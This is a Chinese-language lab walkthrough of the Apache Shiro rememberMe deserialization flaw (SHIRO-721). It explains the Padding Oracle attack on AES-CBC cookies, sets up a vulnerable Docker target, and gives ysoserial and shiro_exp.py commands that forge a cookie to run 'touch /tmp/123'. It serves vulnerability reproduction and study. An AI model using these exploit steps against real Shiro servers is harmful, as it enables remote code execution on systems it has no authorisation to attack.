漏洞原理
Shiro rememberMe 反序列化远程代码执行漏洞
由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行
rememberMe cookie 通过 AES-128-CBC 模式加密,易受到 Padding Oracle 攻击。可以通过结合有效的 rememberMe cookie 作为 Padding Oracle 攻击的前缀,然后精⼼制作 rememberMe 来进⾏反序列化攻击。
Tip:在1.2.4版本后,shiro已经更换 AES-CBC 为 AES-GCM ,无法再通过 Padding Oracle 遍历 key 。
影响版本
Apache Shiro <= 1.4.1(需要一个合法的登录账号,基于Padding Oracle attack来实现的攻击)
通过Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进而实现rememberMe的内容伪造。下面会有单独的篇幅讲Padding Oracle Attack。
shiro-721对cookie中rememberMe的值的解析过程
特征判断
由于漏洞利用需要一个合法的登录账号,这里利用账号正常登陆获取一个有效的rememberMe cookie ,并记录下这个rememberMe的值
docker环境搭建
方法一:
git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721
方法二:
docker pull vulfocus/shiro-721
docker run -d -p 8080:8080 vulfocus/shiro-721
漏洞复现
先使用合法账户登陆,记得勾选remember Me,然后使用burp抓包获取cookie:
获取到cookie:
将其中的remember Me字段复制下来输入到工具中进行利用:
使用ysoserial工具生成payload
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/123" > payload.class
#"touch /tmp/123" 在tmp目录写入123
使用工具生成payload
脚本链接:https://github.com/wuppp/shiro_rce_exp python shiro_exp.py
http://192.168.88.130:8080 [rememberMeCookie] payload.class
python shiro_exp.py http://192.168.171.137:8080/login.jsp LIO2vKStP5R4NN+TLY0Bgfrz+3sacQHB1BfrOheCVAHeFAGtRsX9JW24tCvcedluOxZwFPoOSs7/tA0fK+UJ9ylRjLIT87NIN1smV22TVqdQ4vSJXB42IQCTV1mDA2CwlDpoeem6M4qY2SeB4JwIpV+iUwNJoOj+NfWeX3/lLZHkoCnsR5TCm6GrHyhdaDZYK0BAJNXFQ9658sJGAF1fztcfR0pYD9RtX26iLW73+D0pd3x6DhPQB7euA4uhUZ3Ue8RoOK3jTqxHC3U5n0DIMpc1RWlHVzUyHjejFAPXCReV+7ds/dWr+b5XlgP9/7ajmi2+6dqr2apVaIhEMC5SP4X4Y+QZw3wS6w76pD1vT8JSlG6l+h4+tIRuS4/gbUzX8GhmPCtw2MBMS/xZ2FsjvTPexdPLEf+114qo4152aNNcXul4zN3czLlve+otlqd5E/WyhhbBA2+EFk+Pewnsq2g2sS53s57H9BcWhXHkcwf0cIrkOXAn9a9xfkkm1HH9 payload.class
此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。
最终会生成恶意的rememberMe cookie,我们使用这个cookie替换原数据包中的cookie。然后登陆进服务器看,会发现/tmp目录下被创建了一个123文件。
漏洞利用成功!